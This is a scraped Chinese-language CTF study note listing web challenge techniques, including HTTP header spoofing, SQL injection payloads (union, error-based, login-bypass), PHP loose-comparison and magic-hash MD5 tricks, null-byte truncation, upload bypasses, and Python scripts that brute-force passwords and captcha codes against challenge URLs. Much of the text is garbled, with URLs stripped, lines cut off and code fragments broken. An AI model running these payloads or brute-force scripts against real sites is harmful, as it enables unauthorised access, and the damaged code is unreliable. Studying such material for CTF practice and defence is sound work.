2023年6月27日发(作者:)
CTF学习-web解题思路CTF学习-web题思路1.直接查看源代码2.修改或添加HTTP请求头常见的有:Referer来源伪造X-Forwarded-For:ip伪造User-Agent:⽤户代理(就是⽤什么浏览器什么的)//.net的版本修改,后⾯添加,如版本9 .NET CLR 9Accept-Language:语⾔Cookie的修改3.查看HTTP请求头或响应头4.302跳转的中转⽹页有信息5.查看开发者⼯具控制台ript代码绕过通过删除或修改代码或者本地代理改包绕过7.使⽤burp的repeater查看整个HTTP包8.阅读javascript代码,直接控制台获取正确密码⽂件获取信息这本来是给搜索引擎看的信息,很可能暴露⽹站结构⽬录10..bash_history,这个应该说看到过吧,就是记录⽤户输⼊过的linux命令的前端脚本类js加解密XSS这题题⽬就有漏洞,直接在命令⾏输⼊下⾯的就有了$.post("./?ok=1",{'url':,'ok':ok},function(data){ (data); });showkey();当然简单的直接输⼊这样也可以可以直接输⼊上题的那个jquery,也可以乖乖下⾯的后端脚本类代码审计asp代码审计:长度限制:F12删maxlength,或者改长度,本地代理都可以绕过//Username: 'union select 1,1,1 from bdmin ' ,为什么是三列呢,⼀般表中都会设置id,加上账号密码就3个了,不⾏就猜4列咯...,因为union的之前的⽤户名为空,所以前⾯的结果集为空,所以最后的结果集只有我们后⾯的1,1,1了,所以在密码那输⼊1就是密码。这样也⾏,反正就闭合标签 'union select 1,1,1 from bdmin where '1'='1php代码审计sql注⼊简单的直接上⼯具就ko了,如sqlmap,等-——10⼤sql注⼊⼯具如下⾯⼏个:当然不⽤and XX也是可以的,下⾯只是举个例⼦//⼿⼯注⼊过程//判断注⼊类型为and布尔型注⼊/8/?id=1%20and%201=1/8/?id=1%20and%201=2//判断字段数/8/?id=1%20order%20by%203/8/?id=1%20order%20by%202//获取数据库基本信息(//concat_ws是字符串连接函数,其中第⼀个参数是分隔符,CHAR(58)是冒号,因为冒号的ASCII是58)/8/?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version())//获取数据库中的表,其中table_schema可以理解为数据库吧(他是mysql系统表⾥⾯的⼀个字段,这⾥我们⽤16进制表⽰,就是上⼀句查询到的数据库)//获取重要表的字段/8/?id=1 and 1=2 union select 1,column_name from information_s where table_name=0x746869736b6579//获取表中的内容/8/?id=1 and 1=2 union select 1,k0y from thiskey/8/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_%20where%20table_sc密码随便输⼊
payload:宽字节注⼊,在其他没头绪的时候必须考虑这个了,哎,⽽且题⽬都说过滤了利⽤报错注⼊/sqli5_5ba0bba6a6d1b30b956843f757889552/?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)数据库:mydbs/sqli5_5ba0bba6a6d1b30b956843f757889552/?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_nam爆表/sqli5_5ba0bba6a6d1b30b956843f757889552/?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(us爆数据写点脚本的注意看响应头,You must do it as fast as you can!,这个⼿速是不⾏的,必须编程获取后解码,跟着post数据:key=XXXXXXXXXXXXX脚本如下import requestsimport base64url='/web/'req=(url)print y=s['FLAG']key=base64.b64decode(key)key=(':')[1].strip()data={'key':key}r=(url,data=data)print()后台登陆型给了源代码,主要看sql语句,注释掉后⾯的and (pw='$pass'),当注意闭合⼩括号 payload :user=admin')#&pass=432142//这题可以看看asp代码审计第⼀题,你或许有思路,后⾯有答案⿏标刮过即可(⿏标选中冒号后⾯的空⽩):user=' union select'c4ca4238a0b923820dcc509a6f75849b' from php -- &pass=1那个MD5是密码1的md5代码逆向解密代码$cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';$tmp = base64_decode(strrev(str_rot13($cipher)));echo $tmp;$b = '';for ($i=0; $i < strlen($tmp); $i++) { $a = substr($tmp, $i, 1); $b = $(ord($a)-1);}echo strrev($b);上传绕过类multipart/form-data⼤写绕过php的特性1.数字与字符串⽐较var_dump( 0 == "a" );var_dump( "0" == "a" );第⼀个返回的是 true ,第⼆个返回的是 false因为php把字母开头的转化为整型时,转化为0, 前⾯数字后⾯字母的话就只取到第⼀个字母出现的位置之前(如intval(''123abd45gf)结果为123)5“碰撞”因为php 0e开头的字符串都是==的,不是===哦var_dump("0e462"=="0e83040041");上⾯这个返回true,如果题⽬的md5是0e开头的,你懂的下⾯给⼀组数据吧md5('240610708') 的结果是:0e462854md5('QNKCDZO') 的结果是:0e834391240610708、QNKCDZO、aabg7XSs、5数组md5(array) == (array,string) ==函数漏洞:00截断%00备份⽂件类型的.~. . vim验证码类的这个验证码的特点是,在⼀次会话中,下⼀次提交,上⼀次的验证码不会失效 。代码,具体要改cookie和验证码import requestsurl = "/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/"req = n()header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}for pwd in xrange(1000,10000): data={'username':'admin','pwd':pwd,'vcode':'c3pe'} ret = (url, data=data, headers=header) print if 'error' not in : print pwd break程序猿:“该死的⿊客,我让你绕!我验证⼀次就让你的验证码失效,看你怎么绕!”这⼀关的验证码,验证⼀次以后就失效了,但是再次提交的时候就不需要再考虑验证码是否正确的问题了,所以在脚本中只要保证验证码为''的就可以import requestsurl = "/vcode2_a6e6bac0b47c8187b09deb20babc0e85/"req = n()header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}for pwd in xrange(1000,10000): data={'username':'admin','pwd':pwd,'vcode':''} ret = (url, data=data, headers=header) if 'error' not in : print print "good: password is:" + str(pwd) break else: print "try:" + str(pwd) + " and result is :"+ 爆破再爆破,点击验证码再运⾏脚本哦,跟着获得另⼀个⼿机号,再获取验证码,再修改⼿机号再运⾏脚本import requestsurl = "/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/"req = n()header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}for vcode in xrange(100,1000): data={'username':'','vcode':vcode, 'Login':'submit'} # data={'username':'','vcode':vcode, 'Login':'submit'} ret = (url, data=data, headers=header) if 'error' not in : print print "good: vcode is:" + str(vcode) break else: print "try:" + str(vcode) + " and result is :"+
发布者:admin,转转请注明出处:http://www.yc00.com/news/1687866792a52153.html
评论列表(0条)